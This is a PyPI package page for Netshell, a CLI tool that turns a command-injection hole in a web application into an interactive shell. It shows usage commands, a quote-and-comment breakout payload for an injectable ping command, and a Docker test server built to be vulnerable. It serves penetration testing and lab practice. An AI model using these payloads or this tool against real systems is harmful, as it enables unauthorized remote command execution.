A CLI HTTP shell to connect to remote shells
Project description
Netshell
A lightweight HTTP CLI Shell that enables custom command injection into vulnerable web applications with a familiar shell-like interface.
Installation
Install using pip:
pip install netshell
or manually by downloading the git repository:
git clone https://github.com/dubniczky/Netshell
Usage
Simple injection
The q query parameter of http://example.com/vln.php is vulnerable to command injections, then the following command connects to it and starts a shell-like environment:
In this example the value of the q parameter is ran as a command.
httpshell -a http://example.com/vln.php -p q
Connection successful!
example.com > whoami
www-data
Breakout injection
If the value of the parameter is embedded into a command and have to break out, then the --prefix, --suffix parameters define a stable environment for the shell. For example with the ping command:
ping -c '{IP_PARAMETER_INSERTED_HERE}'
to break out, the command has to start with '; and end with #:
ping -c '' whoami #'
I recommend testing this manually using a tool such as curl with a simple command like whoami, then starting netshell with the prefix and suffix set.
⚠️ Please note that the values in the
--prefixand--suffixfields are also URL encoded if URL encoding is not disabled. If you are encoding it manually, you can use this tool: https://convert.dubniczky.com/?from=text&to=url
netshell -a http://example.com/ping.php -p ip -P "';" -S " #"
Reference
Use httpshell --help for all flags and options.
Command line options:
-h,--help- show this help message and exit--address,-aADDRESS Target address containing the full path. E.g., http://example.com/vulnerable.php--parameter,-pPARAMETER Parameter name where the injection will occur. E.g., 'cmd' for http://example.com/vulnerable.php?cmd=...- -
-cookies,-cCOOKIES Use cookies for the request - -
-agentAGENT Set a custom User-Agent header for the requests --prefix,-PPREFIX Set a custom prefix for the commands. This is usually the command escape. By default there is none. No modifications apply to this, so make sure to encode it properly if needed.--suffix,-SSUFFIX Set a custom suffix for the commands. This is usually the command escape. By default there is none. No modifications apply to this, so make sure to encode it properly if needed.--verbose,-vVerbose output--no-url-encodeDisable URL encoding of commands--no-preflightSkip preflight checks and go straight to the shell interface
Testing
The /test folder contains a simple injectable web server that can be started using Docker Compose.
cd test
docker compose up --build
The injectable point is at /good path with the p query parameter.
netshell -a http://localhost:8000/good -p q
A breakout injection point with the ping command ping -c 1 '<ip>' is on the /ping path with the ip query parameter.
netshell -a http://localhost:8000/ping -p ip --prefix "';" --suffix " #"
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file netshell-1.1.1.tar.gz.
File metadata
- Download URL: netshell-1.1.1.tar.gz
- Upload date:
- Size: 7.3 kB
- Tags: Source
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.12
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
ac94a313dab92353055406021921597e1760faf980c4bffdc2dc52b4f94fd73e
|
|
| MD5 |
4fe2bc167fd8a18e24e1082597fc3e15
|
|
| BLAKE2b-256 |
4f742ad014c59443b170deaf575c0311151a370db5d50ba19a6bcbdb885e06c2
|
Provenance
The following attestation bundles were made for netshell-1.1.1.tar.gz:
Publisher:
publish.yml on dubniczky/Netshell
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
netshell-1.1.1.tar.gz -
Subject digest:
ac94a313dab92353055406021921597e1760faf980c4bffdc2dc52b4f94fd73e - Sigstore transparency entry: 1471076780
- Sigstore integration time:
-
Permalink:
dubniczky/Netshell@1420b0f669d5a98618ef2792656419c00d447112 -
Branch / Tag:
refs/tags/v1.1.1 - Owner: https://github.com/dubniczky
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish.yml@1420b0f669d5a98618ef2792656419c00d447112 -
Trigger Event:
release
-
Statement type:
File details
Details for the file netshell-1.1.1-py3-none-any.whl.
File metadata
- Download URL: netshell-1.1.1-py3-none-any.whl
- Upload date:
- Size: 7.6 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.12
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
1bc11d15add1a5d70cff7a9d6fa60d8012e353b19f45abe7195f40bb1724fa06
|
|
| MD5 |
7736b83d880a91dadf8c1918226612d5
|
|
| BLAKE2b-256 |
843cbbd93683b3d3d2a881345b477801b5815a068ac18af53fb00b9037d50969
|
Provenance
The following attestation bundles were made for netshell-1.1.1-py3-none-any.whl:
Publisher:
publish.yml on dubniczky/Netshell
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
netshell-1.1.1-py3-none-any.whl -
Subject digest:
1bc11d15add1a5d70cff7a9d6fa60d8012e353b19f45abe7195f40bb1724fa06 - Sigstore transparency entry: 1471076892
- Sigstore integration time:
-
Permalink:
dubniczky/Netshell@1420b0f669d5a98618ef2792656419c00d447112 -
Branch / Tag:
refs/tags/v1.1.1 - Owner: https://github.com/dubniczky
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish.yml@1420b0f669d5a98618ef2792656419c00d447112 -
Trigger Event:
release
-
Statement type: